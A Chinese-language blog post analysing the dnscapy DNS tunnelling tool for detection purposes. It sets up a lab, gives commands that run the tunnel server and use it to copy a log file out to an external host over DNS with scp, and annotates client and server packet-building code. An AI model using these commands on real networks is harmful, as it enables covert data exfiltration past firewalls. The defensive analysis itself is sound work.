工具介绍
项目地址:
https://github.com/cr0hn/dnscapy
原始项目地址找不到了,这里是别人从原始项目地址留存下来的。
使用场景
内网主机只开放了DNS相关端口,只允许DNS相关流量通讯,可通过DNS隧道进行ssh通讯。
流量&逻辑分析
环境&测试准备
环境配置
外部IP Ubantu Win10 192.168.2.129
内部IP Kali 192.168.2.139
测试方式
- Ubantu运行命令
python2 dnscapy_server.py dnscapy.com 192.168.2.129
其中dnscapy.com在Kali上做了host解析绑定,绑定地址为192.168.2.129
- Kali上进行文件上传测试
scp -o ProxyCommand=‘python2 dnscapy_client.py dnscapy.com 192.168.2.129’ /home/kali/files/logs/fast.log root@192.168.2.129:/tmp/
检测特征
Client逻辑分析
dnScapy的整体组成部分很简单,分为Server.py和Client.py
先看一下Client.py的相关逻辑:
上图中可看到,主要逻辑点在于Client的处理,跟踪Client类,其参数为Automaton类,Automaton类为第三方库Scapy的内部实现类,先直接看START方法,此方法为最开始的状态方法
继续跟踪self.forge_packet方法
def forge_packet(self, qname, is_connection = False, rand = False):
#_CON默认为a,可自定义修改,在全部变量定义
sp = randint(10000,50000)
i = randint(1, 65535)
#nmax默认为65535
n = randint(0, self.n_max)
#START方法传递过来的参数为TRUE
if is_connection:
con_id = ""
else:
con_id = "{0}.".format(self.con_id)
#Mode参数如果启动时未指定,默认为CNAME
if self.mode == "RAND":
if rand or self.qtype is None:
self.qtype = choice(["TXT","CNAME"])
qtype = self.qtype
else:
qtype = self.mode
#就DNS.qry来说格式类似如下:a.int(1-65535).dns
q = DNSQR(qtype=qtype, qname="{0}.{1}{2}.{3}".format(qname, con_id, str(n), self.dn))
return IP(dst=self.ip_dns)/UDP(sport=sp)/DNS(id=i, rd=1, qd=q)
之后调用SR1发送数据。
Server逻辑分析
Client的整体逻辑和Server非常类似,这里直接跟踪Child类中的相关方法的详细实现,先看START方法的实现
其中需要重点关注的方法的CON方法:
def CON(self, ssh_msg):
#如果本地连接ssh数据为空,则继续尝试连接ssh
if ssh_msg == "":
raise self.TICKLING()
#计算限制长度
s = self.calculate_limit_size(self.first_pkt)
#根据请求决定已响应内容
qtype = self.first_pkt[DNSQR].qtype
#格式化数据
self.frag_reply = self.fragment_data(b64encode(ssh_msg), s, qtype)
#con_id第一次CON默认一定为1
if len(self.frag_reply) == 1:
pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.0.{2}".format(_CON, self.con_id, self.frag_reply[0]))
else:
pkt = Core.forge_packet(self, self.first_pkt, "{0}.{1}.{2}".format(_CON, self.con_id, str(len(self.frag_reply)-1)))
#发送响应
send(pkt, verbose=0)
raise self.WAITING()
其他阶段状态,例如DATA、FAST这里不做分析,主要检测CON阶段